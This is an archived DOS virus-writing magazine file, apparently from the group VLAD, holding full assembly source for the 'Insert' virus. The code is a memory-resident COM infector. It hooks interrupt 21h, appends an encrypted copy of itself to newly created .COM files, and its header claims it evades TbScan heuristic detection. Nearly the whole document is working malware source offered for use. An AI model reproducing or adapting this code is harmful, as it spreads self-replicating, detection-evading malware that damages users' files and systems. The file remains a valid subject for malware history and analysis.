home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.4_4 < prev    next >
Encoding:
Text File  |  1995-01-18  |  8.1 KB  |  175 lines

  1.  
  2. ;                             Darkman/VLAD
  3. ;                           Proudly Presents
  4. ;                             I N S E R T
  5. ;            - No flags with TbScan v 6.30 high heuristic -
  6.  
  7. psp          equ     100h
  8.  
  9. insert       segment
  10.              assume  cs:insert,ds:insert,es:insert
  11.              org     00h                 ; Origin of COM-file
  12.  
  13. code:
  14.              lea     di,psp+crypt         ; DI = offset of crypt
  15.              call    xorcrypt
  16. crypt:
  17.              mov     ax,6302h            ; Insert service
  18.              int     21h                 ; Do it!
  19.              cmp     ax,bx               ; Already resident?
  20.              je      virusexit           ; Equal? Jump to virusexit
  21.  
  22.              push    ds                  ; Save DS at stack
  23.              mov     ax,ds
  24.              dec     ax                  ; Decrease AX
  25.              mov     ds,ax               ; DS = segment of programs MCB
  26.  
  27.              cmp     byte ptr ds:[00h],'Z'
  28.              jne     insexit             ; Not last in chain? Jump to insexit
  29.              sub     word ptr ds:[03h],(02h*(codeend-code)+0fh)/10h
  30.              sub     word ptr ds:[12h],(02h*(codeend-code)+0fh)/10h
  31.              add     ax,ds:[03h]         ; AX = MCB + size of memory block
  32.              inc     ax                  ; AX = first usable MCB segment
  33.              pop     ds                  ; Load DS from stack
  34.  
  35.              cld                         ; Clear direction flag
  36.              push    es                  ; Save ES at stack
  37.              mov     es,ax               ; ES = first usable program segment
  38.              mov     cx,(codeend-code)   ; Move 271 bytes
  39.              xor     di,di               ; Clear DI
  40.              lea     si,psp+code         ; SI = offset of code
  41.              rep     movsb               ; Move virus to high memory
  42.  
  43.              xor     ax,ax               ; Clear AX
  44.              mov     ds,ax               ; DS = segment of interrupt table
  45.              lea     di,int21adr         ; DI = offset of int21adr
  46.              mov     si,(21h*04h)        ; SI = offset of interrupt 21h
  47.              movsw                       ; Store address of interrupt 21h \
  48.              movsw                       ; in int21adr                    /
  49.              mov     word ptr ds:[21h*04h],offset virusint21
  50.              mov     ds:[21h*04h+02h],es ; Intercept interrupt 21h
  51.              pop     es                  ; Load ES from stack
  52.              push    es                  ; Save ES at stack
  53. insexit:
  54.              pop     ds                  ; Load DS from stack (ES)
  55. virusexit:
  56.              mov     ax,65535-(restoreend-restore)
  57.              mov     cx,(restoreend-restore)
  58.              mov     di,ax               ; DI = offset of end of memory
  59.              lea     si,psp+restore      ; SI = offset of restore
  60.              rep     movsb               ; Move restore code to end of memory
  61.              jmp     ax                  ; Jump to restore
  62.  
  63. virusint21   proc    near                ; Interrupt 21h of Insert
  64.              pushf                       ; Save flags at stack
  65.  
  66.              cmp     ah,3ch              ; Create a file?
  67.              je      infectfile          ; Equal? Jump to infectfile
  68.              cmp     ah,5bh              ; Create new file?
  69.              je      infectfile          ; Equal? Jump to infectfile
  70.              cmp     ax,6302h            ; Insert service?
  71.              je      insservice          ; Equal? Jump to insservice
  72.  
  73.              popf                        ; Load flags from stack
  74. jumpfar      db      0eah                ; Object code of jump far
  75. int21adr     dd      ?                   ; Address of interrupt 21h
  76. insservice:
  77.              mov     bx,ax
  78.              popf                        ; Load flags from stack
  79.              iret                        ; Interrupt return!
  80. infectfile:
  81.              call    dword ptr cs:int21adr
  82.              pushf                       ; Save flags at stack
  83.              jc      createerror         ; Error? Jump to createerror
  84.  
  85.              push    ax                  ; Save AX at stack
  86.              push    bx                  ; Save BX at stack
  87.              push    di                  ; Save DI at stack
  88.              push    es                  ; Save ES at stack
  89.  
  90.              xchg    ax,bx               ; Exchange AX with BX
  91.  
  92.              mov     ax,1220h            ; Get system file table number
  93.              int     2fh                 ; Do it! (multiplex)
  94.  
  95.              push    bx                  ; Save BX at stack
  96.              mov     ax,1216h            ; Get address of system FCB
  97.              mov     bl,es:[di]          ; BL = system file table entry
  98.              int     2fh                 ; Do it! (multiplex)
  99.              pop     bx                  ; Load BX from stack
  100.  
  101.              cmp     word ptr es:[di+28h],'OC'
  102.              jne     exterror            ; Not equal? Jump to exterror
  103.              cmp     byte ptr es:[di+2ah],'M'
  104.              jne     exterror            ; Not equal? Jump to exterror
  105.  
  106.              push    cx                  ; Save CX at stack
  107.              push    dx                  ; Save DX at stack
  108.              push    si                  ; Save SI at stack
  109.              push    ds                  ; Save DS at stack
  110.  
  111.              push    cs                  ; Save CS at stack
  112.              pop     ds                  ; Load DS from stack
  113.              push    cs                  ; Save CS at stack
  114.              pop     es                  ; Load ES from stack
  115.  
  116.              in      ax,40h              ; AX = port 40h
  117.              mov     cryptvalues,ax      ; Store the crypt value
  118.  
  119.              mov     cx,(codeend-code)   ; Move 271 bytes
  120.              lea     di,codeend          ; DI = offset of codeend
  121.              lea     si,code             ; SI = offset of code
  122.              rep     movsb               ; Move virus to high memory
  123.  
  124.              lea     di,codeend+06h      ; DI = offset of crypt
  125.              call    xorcrypt
  126.  
  127.              mov     ah,40h              ; Write to file
  128.              mov     cx,(codeend-code)   ; Write 271 bytes
  129.              lea     dx,codeend          ; DX = offset of codeend
  130.              int     21h                 ; Do it!
  131.  
  132.              pop     ds                  ; Load DS from stack
  133.              pop     si                  ; Load SI from stack
  134.              pop     dx                  ; Load DX from stack
  135.              pop     cx                  ; Load CX from stack
  136. exterror:
  137.              pop     es                  ; Load ES from stack
  138.              pop     di                  ; Load DI from stack
  139.              pop     bx                  ; Load BX from stack
  140.              pop     ax                  ; Load AX from stack
  141. createerror:
  142.              popf                        ; Load flags from stack
  143.  
  144.              retf    02h                 ; Return far and pop a word!
  145.              endp
  146.  
  147. restore      proc    near                ; Restore code of original program
  148.              lea     ax,psp+code         ; AX = beginning of code
  149.              mov     di,ax
  150.              lea     si,psp+codeend      ; SI = offset of real code
  151.              mov     cx,(65535-psp-(restoreend-restore))-(codeend-code)
  152.              rep     movsb               ; Move the real code to the beginning
  153.              jmp     ax                  ; Jump to the real code
  154.              endp
  155. restoreend:
  156. virusname    db      ' [Insert]'         ; Name of the virus
  157. virusauthor  db      ' [Darkman/VLAD] '  ; Author of the virus
  158. cryptend:
  159. xorcrypt     proc    near                ; XOR Encrypt/Decrypt
  160.              mov     cx,(cryptend-crypt)/02h
  161. cryptcode:
  162. xorwordptr   db      81h,35h             ; xor word ptr [di],0000h \
  163. cryptvalues  dw      ?                   ;  "   "    "      "      /
  164.              inc     di                  ; Increase DI
  165.              inc     di                  ; Increase DI
  166.              loop    cryptcode
  167.              ret                         ; Return!
  168.              endp
  169. codeend:
  170.              int     20h                 ; Exit to DOS!
  171.  
  172. insert       ends
  173. end          code
  174.  
  175.